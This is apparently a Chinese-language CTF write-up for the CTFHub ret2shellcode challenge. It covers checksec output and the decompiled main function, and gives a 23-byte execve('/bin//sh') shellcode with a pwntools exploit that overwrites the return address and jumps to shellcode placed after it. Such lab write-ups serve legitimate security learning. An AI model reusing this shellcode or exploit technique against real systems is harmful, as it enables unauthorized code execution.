checksec:

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

main函数内容如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 buf; // [rsp+0h] [rbp-10h]
  __int64 v5; // [rsp+8h] [rbp-8h]

  buf = 0LL;
  v5 = 0LL;
  setvbuf(_bss_start, 0LL, 1, 0LL);
  puts("Welcome to CTFHub ret2shellcode!");
  printf("What is it : [%p] ?\n", &buf, 0LL, 0LL);
  puts("Input someting : ");
  read(0, &buf, 0x400uLL);
  return 0;
}

没有预留的后门,没有开启NX保护。这道题可以写在栈上。用gdb调试,发现栈区可以写入。
buf的地址在程序运行的时候会回显。buf变量总共为24字节。
这次我使用了长度为23字节的shell:

shell="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"

但是因为其本身是有push指令的,如果我们把shellcode放在返回地址的前面,在程序leave的时候会破坏shellcode。所以要把shellcode放到返回地址之后。
ret2shellcode

from pwn import *
  
io = process('./pwn')
io.recvuntil('[')
# buf与rbp的距离16 + rbp的宽度8 + 返回地址的长度8
address = int(io.recvuntil(']')[:-1],16)+0x10+0x8+0x8
shell="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
payload = 'a'*0x10+'a'*0x8+p64(address)+shell
io.sendlineafter('someting : ',payload) 
io.interactive()